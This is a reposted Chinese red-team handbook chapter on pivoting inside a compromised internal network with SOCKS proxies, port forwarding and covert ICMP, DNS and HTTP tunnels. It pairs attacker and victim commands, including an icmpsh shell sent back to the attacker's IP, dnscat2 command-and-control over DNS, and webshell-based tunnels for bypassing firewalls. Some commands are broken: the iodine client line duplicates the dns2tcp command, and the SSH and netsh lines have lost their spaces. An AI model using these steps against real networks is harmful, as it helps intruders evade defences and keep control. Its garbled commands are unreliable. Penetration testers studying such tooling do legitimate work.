【安全宝典】红队渗透手册之代理转发与隧道篇

  • A+
所属分类:安全文章
【安全宝典】红队渗透手册之代理转发与隧道篇

网安教育

培养网络安全人才

技术交流、学习咨询



本篇为红队渗透手册系列的第四篇,刚上车的同学可以先温习一下前三篇:

红队渗透手册之信息收集篇

红队渗透手册之弹药篇

红队渗透手册之钓鱼篇

在渗透的时候通常我们通过各种漏洞获取到某内网边界机器的权限后,我们需要进行信息收集,尽可能的摸清整个内网的网络拓扑情况,在条件有限的情况时(边界机器权限低,攻击方规则不允许远程登录,边界机器为linux)我们就需要根据不同情况搭建代理,隧道,或者端口转发环境,将我们本机的工具流量带入到内网环境,对内网环境进行漫游探测。


通常会有以下四种情况

内网防火墙对出口流量没有任何端口限制。

内网的防火墙只配置了入站规则。

内网防火墙出站入站规则都配置了。

内网防火墙都配置了出入站规则并且具有协议检测和识别能力且仅允许HTTP流量出去外网。



0x01 socks代理服务端篇


针对第一种情况,由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活.常用的方法有


正向连接,将shell转发到某个端口,或者内网主机的端口或者监听SOCKS5端口开始监听,等待外面的攻击者连接(此时,外网的任何人都可以来连接被攻击者的端口)

反向连接,受害者主机通过指定攻击者正在监听的IP和port,将shell或内网端口等转发到攻击者环境,也可实现socks5反向代理。


其中可以用来做socks5代理的工具有:

1. Frp:

1frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务,支持tcp,http,https等协议类型。
2下载地址:https://github.com/fatedier/frp/releases
3推荐文章:https://www.jianshu.com/p/e0581ee84323


2. Earthworm(ew)

1一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。
2下载地址:(暂不提供)
3推荐文章:http://rootkiter.com/EarthWorm/


3. Ssocks

1sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试
2下载地址:(http://sourceforge.net/projects/ssocks/)
3推荐文章:https://blog.csdn.net/God_XiangYu/article/details/100132929


4. msf做socks代理

1推荐文章:https://www.cnblogs.com/dgjnszf/p/12114358.html



5. CobaltStrike做socks代理

1推荐文章:https://www.secshi.com/6575.htms


针对第二种情况,我们可以反向连接受害者主机,通过指定攻击者正在监听的IP和port,将shell,内网端口等转发到攻击者因为只限制入站流量,出站未做限制,所以做socks代理方法依然适用。



0x02 隐蔽隧道篇


针对第三种和第四种情况, socks代理的方法就受限制,因为端口有限,我们可以选择隐蔽隧道技术,把内网服务器的端口通过http/https,ICMP,DNS隧道转发到本机, 形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透常见的隐蔽隧道工具有以下几种。

一、ICMP隧道

ICMP隧道的原理:基于IP协议,将TCP/UDP数据包封装到ICMP的数据包中,绕过防火墙,实现出网。

ICMP隧道的应用场景:上层协议例如HTTP协议、DNS协议和正反向端口转发都失败时,可以尝试ICMP出网。


ICMP的常用工具:icmpsh、icmptunnel、ptunnel

1、icmpsh

工具安装

1git clone https://github.com/inquisb/icmpsh.git #下载地址
2apt-get install python-impacket                  #安装依赖
3sysctl -w net.ipv4.icmp_echo_ignore_all=1        #关闭本地的ICMP应答


被攻击者执行

1icmpsh.exe -t 攻击者IP


攻击者执行

1python icmpsh_m.py 攻击者IP 被攻击者IP


2、icmptunnel

工具安装

1git clone https://github.com/jamesbarlow/icmptunnel.git
2cd icmptunnel
3make
4sysctl -w net.ipv4.icmp_echo_ignore_all=1        #关闭本地的ICMP应答


攻击者执行

1一个终端执行
2 ./icmptunnel –s
3 另一个终端执行
4 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0


被攻击者执行

1一个终端执行
2sysctl -w net.ipv4.icmp_echo_ignore_all=1  
3 ./icmptunnel 攻击者IP
4 另一个终端执行
5 /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0


3、ptunnel

工具安装

1wget https://github.com/esrrhs/pingtunnel/releases(最新的release下载地址)
2sudo unzip pingtunnel_linux64.zip


攻击者执行

1echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
2sudo ./pingtunnel -type server


被攻击者执行

1// client, Forward udp
2pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
3
4// client, Forward tcp
5pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
6
7// client, Forward sock5, implicitly open tcp, so no target server is needed
8pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1


二、DNS隧道

DNS隧道的原理:基于UDP协议,将TCP/UDP数据包封装到dns的数据包中,绕过防火墙,实现出网。

DNS隧道的应用场景:上层协议例如HTTP协议、正反向端口转发都失败时,可以尝试DNS协议出网。


DNS的常用工具:dnscat2、dns2tcp、iodine

1、dnscat2

工具安装

 1server端安装:需要ruby环境、安装gem、ruby、dnscat2服务端
2yum install gem
3rm /usr/bin/ruby
4wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
5tar -zxvf ruby-2.5.0.tar.gz
6cd ruby-2.5.0
7mkdir -p /usr/local/ruby
8./configure --prefix=/usr/local/ruby
9make  && make install
10ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby
11
12
13git clone https://github.com/iagox86/dnscat2.git
14cd /server
15gem install bunlder
16ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
17bunlder install
18
19客户端安装:
20下载地主:https://downloads.skullsecurity.org/dnscat2/
21powershell客户端:    https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master

攻击者执行

1 ruby dnscat2.rb yourdomain.****.top -e open -c password --no-cache


被攻击者执行

1 ./dnscat --secret=password yourdomain.target.com


2、dns2tcp

工具安装

1 su - #进入root用户
2apt-get install update
3 apt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端
4
5 windows客户端:
6 https://pan.baidu.com/s/1w-dpn0US9SmfjqdXuHS4aA提取码: tkgd)


攻击者执行

1 dns2tcpd -f /etc/dns2tcpd.conf -F -d 2


被攻击者执行

1 ./dns2tcpc.exe -r c2 -z dnsc2.test.com target_ip -l 5353 -d 2


3、iodine

工具安装

1 sudo apt-get install iodine


攻击者执行

1 sudo iodined -c -P 123pass ClientIP(客户端IPdomain.com -DDD


被攻击者执行

1./dns2tcpc.exe -r c2 -z dnsc2.test.com target_ip -l 5353 -d 2


三、HTTP隧道工具篇

HTTP隧道的原理:基于HTTP协议,将TCP/UDP数据包封装到HTTP的数据包中,绕过防火墙,实现出网。

HTTP隧道的应用场景:只允许HTTP协议出网,复用WEB端口。

HTTP隧道的常用工具:Reduh、Tunna、reGeorg、Weevely、ABPTTS

1. Reduh

1使用条件:
21.获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件。
32.知道目标服务器开放的内网端口,如远程桌面的端口是3389
43.目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口。
5下载链接:https://github.com/sensepost/reDuh               
6参考链接:https://www.jianshu.com/p/cd3dae49385d


2. Tunna

1一款神奇的工具,它可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。
2 注:Tunna代理并不是非常稳定,经常出现掉线情况,尤其是使用Tunna代理远程连接的流量时,经常掉线。但是使用Tunna访问内网web服务还算稳定。
3下载链接:https://github.com/SECFORCE/Tunna
4参考链接:https://blog.csdn.net/limb0/article/details/103856835


3. reGeorg

1reGeorg是reDuh的升级版
2下载链接:https://github.com/sensepost/reGeorg
3参考链接:https://blog.csdn.net/qq_17204441/article/details/88834095


4. Weevely

1weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数且base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能)
2下载地址:http://epinna.github.com/Weevely/
3参考链接:https://www.cnblogs.com/lingerhk/p/4009073.html


5. ABPTTS

1Abptts是一款基于python2.7的http加密隧道工具,Abptts能做的很多,缺点是不支持PHP
2通过http加密隧道转发至目标内网下指定的单个TCP端口
3通过http加密隧道同时转发至目标内网下的多台机器上的多个tcp端口
4把ssh隧道包裹在http加密隧道中传递,对目标二级内网进行穿透
5
6下载地址:https://github.com/nccgroup/ABPTTS.git
7参考链接:https://blog.csdn.net/include_heqile/article/details/85008629



0x03 端口转发篇


理论上,任何接入互联网的计算机都是可访问的,但如果目标主机在内网中,我们又想和该目标主机进行通信的话,除了做socks代理和http隧道外,我们还可以使用端口转发的方法来与目标主机进行通信。


文章开始提到的四种场景,前三种场景都是有常用的端口转发工具的。

1. Frp

1下载地址:https://github.com/fatedier/frp/releases
2参考链接:http://www.secflag.com/archives/373.html


2. Msf+Portfwd

1参考链接:https://blog.csdn.net/DarkHQ/article/details/80411158


3. Lcx

1lcx是一款强大的内网端口转发工具,已经被杀毒软件列为木马,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口. 它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389等端口。
2下载地址:自行搜索引擎
3参考链接:https://blog.bbskali.cn/356.html


4. Socat

1下载地址:http://www.dest-unreach.org/socat/
2参考链接:https://www.cnblogs.com/iamlehaha/p/6540695.html


5. SSH

 1#本地端口转发:
2ssh-CfNg-Lport1:127.0.0.1:[email protected]
3参数:-L本地网卡地址:本地端口:目标地址:目标端口
4
5#远程端口转发:
6ssh-CfNg-Rport2:127.0.0.1:[email protected]
7参数:-R远程网卡地址:远程端口:目标地址:目标端口
8
9#动态端口转发
10ssh-Dlocalhost:[email protected]
11参数:-D本地网卡地址:本地端口


6. Netsh

1netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以直接下面这样非交互式的进行端口转发。
2`netshinterfaceipv6install
3#转发
4netshinterfaceportproxyaddv4tov4listenaddress=10.10.18.1listenport=4455connectaddress=10.10.12.1connectport=8080
5
6#删除转发
7netshinterfaceportproxydeletev4tov4listenaddress={B的IP}listenport={B的端口}



0x04 socks代理客户端


在做好socks代理以后,我们需要使用socks客户端挂上代理,才能访问目标环境,在这里说一下个人的配置, 小编工作机为mac,socks代理客户端图形化工具使用proxifier,命令行工具使用proxychains4,另外我比较喜欢单独配置,burpsuite走代理就在burpsuite配置,终端走代理就在终端配置代理,浏览器需要走代理就在浏览器配置代理。

1.proxychains 需要修改mac的配置

1修改配置参考链接:https://zhuanlan.zhihu.com/p/21281236
2使用方法参考链接:https://www.cnblogs.com/wyet/p/7868395.html


2.proxifier 这个工具好用,跨平台使用

1参考链接:http://www.hopol.cn/2018/05/1142/


3 burpsuite 挂socks代理

1参考链接:https://www.cnblogs.com/hookjoy/p/10759555.html


4 chrome 挂socks代理

1插件:SwitchyOmega


5 终端走代理

1挂代理命令alias proxy='export all_proxy=socks5://127.0.0.1:1086'
2取消代理命令alias unproxy='unset all_proxy


【安全宝典】红队渗透手册之代理转发与隧道篇

文转自水滴安全实验室

如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【安全宝典】红队渗透手册之代理转发与隧道篇

加QQ(1271375291)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【安全宝典】红队渗透手册之代理转发与隧道篇


我就知道你“在看”
【安全宝典】红队渗透手册之代理转发与隧道篇


本文始发于微信公众号(开源聚合网络空间安全研究院):【安全宝典】红队渗透手册之代理转发与隧道篇

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: